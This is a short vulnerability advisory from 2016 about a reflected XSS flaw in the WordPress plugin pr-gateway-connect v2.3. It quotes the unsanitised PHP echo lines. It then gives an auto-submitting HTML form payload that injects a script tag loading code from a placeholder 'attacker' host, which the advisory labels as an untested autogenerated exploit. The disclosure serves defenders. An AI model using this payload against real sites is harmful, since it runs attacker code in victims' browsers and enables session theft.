Advisory #: 1359
Title: Reflected XSS in wordpress plugin pr-gateway-connect v2.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/pr-gateway-connect
Downloads: 2101
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: pr-gateway-connect
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./pr-gateway-connect/View/facebookPreview.php: 29: <img id="demoImg" src="<?php echo $_POST['imgSrc'] ?>"> 32: <span id="demoTitle"><?php echo $_POST['title'] ?></span><br> The variable imgSrc appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./pr-gateway-connect/View/facebookPreview.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/pr-gateway-connect/View/facebookPreview.php method=post> <input type=hidden name=imgSrc value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>